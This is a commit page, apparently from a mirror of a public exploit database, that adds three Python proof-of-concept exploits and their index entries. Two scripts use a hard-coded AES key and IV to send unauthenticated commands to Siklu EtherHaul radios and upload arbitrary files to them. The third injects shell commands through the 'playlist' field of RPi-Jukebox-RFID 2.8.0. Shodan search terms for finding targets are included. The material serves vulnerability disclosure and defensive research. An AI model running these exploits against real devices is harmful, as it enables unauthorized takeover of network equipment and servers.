Skip to content

Commit 29d6b7d

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 7170fdb + 62726c6 commit 29d6b7d

4 files changed

Lines changed: 309 additions & 0 deletions

File tree

‎exploits/multiple/webapps/52466.py‎

Lines changed: 129 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,129 @@
1+
# Exploit Title:Siklu EtherHaul Series EH-8010 - Remote Command Execution
2+
# Shodan Dork: "EH-8010" or "EH-1200"
3+
# Date: 2025-08-02
4+
# Exploit Author: semaja2 - Andrew James <semaja2@gmail.com>
5+
# Vendor Homepage: https://www.ceragon.com/products/siklu-by-ceragon
6+
# Software Link: ftp://ftp.bubakov.net/siklu/
7+
# Version: EH-8010 and EH-1200 Firmware 7.4.0 - 10.7.3
8+
# Tested on: Linux
9+
# CVE: CVE-2025-57174
10+
# Blog: https://semaja2.net/2025/08/02/siklu-eh-unauthenticated-rce/
11+
12+
#!/usr/bin/env python3
13+
import argparse, socket, struct
14+
from Crypto.Cipher import AES
15+
16+
PORT = 555
17+
HDR_LEN = 0x90
18+
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
19+
KEY = bytes([
20+
0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
21+
0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
22+
0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
23+
0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
24+
])
25+
26+
def recv_exact(sock: socket.socket, n: int) -> bytes:
27+
out = bytearray()
28+
while len(out) < n:
29+
chunk = sock.recv(n - len(out))
30+
if not chunk:
31+
raise ConnectionError('socket closed')
32+
out += chunk
33+
return bytes(out)
34+
35+
def pad16_zero(b: bytes) -> bytes:
36+
r = len(b) & 0x0F
37+
return b if r == 0 else (b + b'\x00' * (16 - r))
38+
39+
def hdr_checksum(hdr: bytes) -> int:
40+
return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF
41+
42+
def build_header(flag: int, msg: int, payload_len: int) -> bytes:
43+
hdr = bytearray(HDR_LEN)
44+
hdr[0] = flag & 0xFF
45+
hdr[1] = msg & 0xFF
46+
struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
47+
struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
48+
return bytes(hdr)
49+
50+
class RFPipeSession:
51+
def __init__(self, key: bytes, iv0: bytes):
52+
self.key = key
53+
self.send_iv = iv0
54+
self.recv_iv = iv0
55+
def enc_send(self, sock: socket.socket, data: bytes) -> None:
56+
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
57+
ct = cipher.encrypt(data)
58+
self.send_iv = ct[-16:]
59+
sock.sendall(ct)
60+
def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
61+
if n_plain <= 0:
62+
return b''
63+
n_padded = (n_plain + 15) & ~15
64+
ct = recv_exact(sock, n_padded)
65+
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
66+
pt = cipher.decrypt(ct)
67+
self.recv_iv = ct[-16:]
68+
return pt[:n_plain]
69+
def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
70+
if len(hdr_plain) != HDR_LEN:
71+
raise ValueError('header must be 0x90 bytes')
72+
self.enc_send(sock, hdr_plain)
73+
def recv_header(self, sock: socket.socket) -> bytes:
74+
ct = recv_exact(sock, HDR_LEN)
75+
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
76+
pt = cipher.decrypt(ct)
77+
self.recv_iv = ct[-16:]
78+
return pt
79+
80+
def connect_any(host: str, port: int) -> socket.socket:
81+
infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
82+
last_err = None
83+
for fam, st, proto, _, sa in infos:
84+
s = socket.socket(fam, st, proto)
85+
try:
86+
s.connect(sa)
87+
return s
88+
except Exception as e:
89+
last_err = e
90+
s.close()
91+
raise ConnectionError(f'connect failed: {last_err}')
92+
93+
def main():
94+
ap = argparse.ArgumentParser(description='rfpiped command client (msg 0x01)')
95+
ap.add_argument('target', help='IPv4/IPv6 address')
96+
ap.add_argument('command', help='command string (e.g., "mo-info system")')
97+
ap.add_argument('--nul', action='store_true', help='append NUL terminator to command')
98+
ap.add_argument('--recv', action='store_true', help='receive and print response')
99+
args = ap.parse_args()
100+
101+
payload = args.command.encode('utf-8')
102+
if args.nul:
103+
payload += b'\x00'
104+
105+
hdr_plain = build_header(flag=0x00, msg=0x01, payload_len=len(payload))
106+
sess = RFPipeSession(KEY, IV0)
107+
108+
with connect_any(args.target, PORT) as s:
109+
sess.send_header(s, hdr_plain)
110+
if payload:
111+
sess.enc_send(s, pad16_zero(payload))
112+
if args.recv:
113+
rh = sess.recv_header(s)
114+
flag = rh[0]; rmsg = rh[1]
115+
rlen = struct.unpack_from('<I', rh, 0x08)[0]
116+
print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
117+
if rmsg in (0x03, 0x05):
118+
return
119+
if rlen:
120+
body = sess.dec_recv(s, rlen)
121+
if body.endswith(b'\x00'):
122+
body = body[:-1]
123+
try:
124+
print(body.decode('utf-8', errors='replace'))
125+
except Exception:
126+
print(body.hex())
127+
128+
if __name__ == '__main__':
129+
main()

‎exploits/multiple/webapps/52467.py‎

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
# Exploit Title: Siklu EtherHaul Series - Unauthenticated Arbitrary File Upload
2+
# Shodan Dork: "EH-8010" or "EH-1200"
3+
# Date: 2025-08-02
4+
# Exploit Author: semaja2 - Andrew James <semaja2@gmail.com>
5+
# Vendor Homepage: https://www.ceragon.com/products/siklu-by-ceragon
6+
# Software Link: ftp://ftp.bubakov.net/siklu/
7+
# Version: EH-8010 and EH-1200 Firmware 7.4.0 - 10.7.3
8+
# Tested on: Linux
9+
# CVE: CVE-2025-57176
10+
# Blog: https://semaja2.net/2025/08/03/siklu-eh-unauth-arbitrary-file-upload/
11+
12+
#!/usr/bin/env python3
13+
import argparse, socket, struct
14+
from Crypto.Cipher import AES
15+
16+
PORT = 555
17+
HDR_LEN = 0x90
18+
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
19+
KEY = bytes([
20+
0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
21+
0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
22+
0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
23+
0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
24+
])
25+
26+
def recv_exact(sock: socket.socket, n: int) -> bytes:
27+
out = bytearray()
28+
while len(out) < n:
29+
chunk = sock.recv(n - len(out))
30+
if not chunk:
31+
raise ConnectionError('socket closed')
32+
out += chunk
33+
return bytes(out)
34+
35+
def pad16_zero(b: bytes) -> bytes:
36+
r = len(b) & 0x0F
37+
return b if r == 0 else (b + b'\x00' * (16 - r))
38+
39+
def hdr_checksum(hdr: bytes) -> int:
40+
return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF
41+
42+
def build_header(flag: int, msg: int, payload_len: int, path: bytes) -> bytes:
43+
hdr = bytearray(HDR_LEN)
44+
hdr[0] = flag & 0xFF
45+
hdr[1] = msg & 0xFF
46+
struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
47+
p = path if path.endswith(b'\x00') else (path + b'\x00')
48+
max_path = HDR_LEN - 0x10
49+
hdr[0x10:0x10 + min(len(p), max_path)] = p[:max_path]
50+
struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
51+
return bytes(hdr)
52+
53+
class RFPipeSession:
54+
def __init__(self, key: bytes, iv0: bytes):
55+
self.key = key
56+
self.send_iv = iv0
57+
self.recv_iv = iv0
58+
def enc_send(self, sock: socket.socket, data: bytes) -> None:
59+
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
60+
ct = cipher.encrypt(data)
61+
self.send_iv = ct[-16:]
62+
sock.sendall(ct)
63+
def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
64+
if n_plain <= 0:
65+
return b''
66+
n_padded = (n_plain + 15) & ~15
67+
ct = recv_exact(sock, n_padded)
68+
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
69+
pt = cipher.decrypt(ct)
70+
self.recv_iv = ct[-16:]
71+
return pt[:n_plain]
72+
def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
73+
if len(hdr_plain) != HDR_LEN:
74+
raise ValueError('header must be 0x90 bytes')
75+
self.enc_send(sock, hdr_plain)
76+
def recv_header(self, sock: socket.socket) -> bytes:
77+
ct = recv_exact(sock, HDR_LEN)
78+
cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
79+
pt = cipher.decrypt(ct)
80+
self.recv_iv = ct[-16:]
81+
return pt
82+
83+
def connect_any(host: str, port: int) -> socket.socket:
84+
infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
85+
last_err = None
86+
for fam, st, proto, _, sa in infos:
87+
s = socket.socket(fam, st, proto)
88+
try:
89+
s.connect(sa)
90+
return s
91+
except Exception as e:
92+
last_err = e
93+
s.close()
94+
raise ConnectionError(f'connect failed: {last_err}')
95+
96+
def main():
97+
ap = argparse.ArgumentParser(description='rfpiped file upload client (msg 0x04)')
98+
ap.add_argument('target', help='IPv4/IPv6 address')
99+
ap.add_argument('--path', required=True, help='remote path string for header+0x10 (NUL will be appended)')
100+
ap.add_argument('--file', required=True, help='local file to send as payload')
101+
ap.add_argument('--recv', action='store_true', help='receive and print server ACK/response')
102+
args = ap.parse_args()
103+
104+
with open(args.file, 'rb') as f:
105+
payload = f.read()
106+
path_bytes = args.path.encode('utf-8')
107+
hdr_plain = build_header(flag=0x00, msg=0x04, payload_len=len(payload), path=path_bytes)
108+
109+
sess = RFPipeSession(KEY, IV0)
110+
with connect_any(args.target, PORT) as s:
111+
sess.send_header(s, hdr_plain)
112+
if payload:
113+
sess.enc_send(s, pad16_zero(payload))
114+
if args.recv:
115+
rh = sess.recv_header(s)
116+
flag = rh[0]; rmsg = rh[1]
117+
rlen = struct.unpack_from('<I', rh, 0x08)[0]
118+
print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
119+
if rmsg in (0x03, 0x05):
120+
return
121+
if rlen:
122+
body = sess.dec_recv(s, rlen)
123+
if body.endswith(b'\x00'):
124+
body = body[:-1]
125+
try:
126+
print(body.decode('utf-8', errors='replace'))
127+
except Exception:
128+
print(body.hex())
129+
130+
if __name__ == '__main__':
131+
main()

‎exploits/multiple/webapps/52468.py‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution
2+
# Date: 2025-09-25
3+
# Exploit Author: Beatriz Fresno Naumova
4+
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
5+
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
6+
# Version: 2.8.0
7+
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
8+
# CVE: CVE-2025-10327
9+
#
10+
# Description:
11+
# This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint.
12+
# The vulnerable parameter "playlist" is passed directly to a shell command without sanitization,
13+
# allowing an attacker to execute arbitrary system commands.
14+
15+
import requests
16+
import json
17+
18+
# Replace this with the actual target IP or hostname
19+
TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php"
20+
21+
# Payload to inject – here we create a file as proof of execution
22+
INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '"
23+
24+
# JSON payload for the request
25+
payload = {
26+
"playlist": INJECTED_COMMAND,
27+
"shuffle": "true"
28+
}
29+
30+
# HTTP headers
31+
headers = {
32+
"Content-Type": "application/json",
33+
"User-Agent": "Mozilla/5.0"
34+
}
35+
36+
def exploit():
37+
print("[+] Sending malicious JSON payload to trigger command injection...")
38+
try:
39+
response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5)
40+
print(f"[+] HTTP Status Code: {response.status_code}")
41+
print("[*] If the target is vulnerable, the command should be executed on the server.")
42+
except Exception as e:
43+
print(f"[-] Exploit failed: {e}")
44+
45+
if __name__ == "__main__":
46+
exploit()

‎files_exploits.csv‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12411,6 +12411,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1241112411
18553,exploits/multiple/webapps/18553.txt,"Rivettracker 1.03 - Multiple SQL Injections",2012-03-03,"Ali Raheem",webapps,multiple,,2012-03-03,2012-03-16,0,OSVDB-85702;OSVDB-79806;CVE-2012-4996;CVE-2012-4993;OSVDB-79805,,,,http://www.exploit-db.comrivettracker_1-03.zip,
1241212412
52324,exploits/multiple/webapps/52324.NA,"Roundcube 1.6.10 - Remote Code Execution (RCE)",2025-06-13,"Maksim Rogov",webapps,multiple,,2025-06-13,2025-06-13,0,CVE-2025-49113,,,,,
1241312413
52127,exploits/multiple/webapps/52127.py,"Royal Elementor Addons and Templates 1.3.78 - Unauthenticated Arbitrary File Upload",2025-04-05,4m3rr0r,webapps,multiple,,2025-04-05,2025-04-05,0,CVE-2023-5360,,,,,
12414+
52468,exploits/multiple/webapps/52468.py,"RPi-Jukebox-RFID 2.8.0 - Remote Command Execution",2026-01-17,"Beatriz Fresno Naumova",webapps,multiple,,2026-01-17,2026-01-17,0,CVE-2025-10327,,,,,
1241412415
11405,exploits/multiple/webapps/11405.txt,"RSA - SecurID Cross-Site Scripting",2010-02-11,s4squatch,webapps,multiple,80,2010-02-10,,1,OSVDB-43844;CVE-2008-1470,,,,,
1241512416
48639,exploits/multiple/webapps/48639.txt,"RSA IG&L Aveksa 7.1.1 - Remote Code Execution",2020-07-06,"Jakub Palaczynski",webapps,multiple,,2020-07-06,2020-07-06,0,CVE-2019-3759,,,,,
1241612417
49254,exploits/multiple/webapps/49254.txt,"Rumble Mail Server 0.51.3135 - 'domain and path' Stored XSS",2020-12-14,"Mohammed Alshehri",webapps,multiple,,2020-12-14,2020-12-14,0,,,,,,
@@ -12449,6 +12450,8 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1244912450
36794,exploits/multiple/webapps/36794.txt,"SevenIT SevDesk 3.10 - Multiple Web Vulnerabilities",2015-04-21,Vulnerability-Lab,webapps,multiple,,2015-04-21,2015-04-21,0,,,,,,https://www.vulnerability-lab.com/get_content.php?id=1314
1245012451
51150,exploits/multiple/webapps/51150.txt,"Shoplazza 1.1 - Stored Cross-Site Scripting (XSS)",2023-03-30,"Andrey Stoykov",webapps,multiple,,2023-03-30,2023-03-30,0,,,,,,
1245112452
48712,exploits/multiple/webapps/48712.txt,"Sickbeard 0.1 - Cross-Site Request Forgery (Disable Authentication)",2020-07-26,bdrake,webapps,multiple,,2020-07-26,2020-07-26,0,,,,,,
12453+
52467,exploits/multiple/webapps/52467.py,"Siklu EtherHaul Series EH-8010 - Arbitrary File Upload",2026-01-17,semaja2,webapps,multiple,,2026-01-17,2026-01-17,0,CVE-2025-57176,,,,,
12454+
52466,exploits/multiple/webapps/52466.py,"Siklu EtherHaul Series EH-8010 - Remote Command Execution",2026-01-17,semaja2,webapps,multiple,,2026-01-17,2026-01-17,0,CVE-2025-57174,,,,,
1245212455
52199,exploits/multiple/webapps/52199.txt,"SilverStripe 5.3.8 - Stored Cross Site Scripting (XSS) (Authenticated)",2025-04-14,"James Nicoll",webapps,multiple,,2025-04-14,2025-04-14,0,CVE-2024-47605,,,,,
1245312456
52371,exploits/multiple/webapps/52371.py,"Simple File List WordPress Plugin 4.2.2 - File Upload to RCE",2025-07-22,"Md Amanat Ullah (xSwads)",webapps,multiple,,2025-07-22,2025-07-22,0,CVE-2020-36847,,,,,
1245412457
50073,exploits/multiple/webapps/50073.txt,"Simple Traffic Offense System 1.0 - Stored Cross Site Scripting (XSS)",2021-06-30,"Barış Yıldızoğlu",webapps,multiple,,2021-06-30,2021-06-30,0,,,,,,

0 commit comments

Comments
 (0)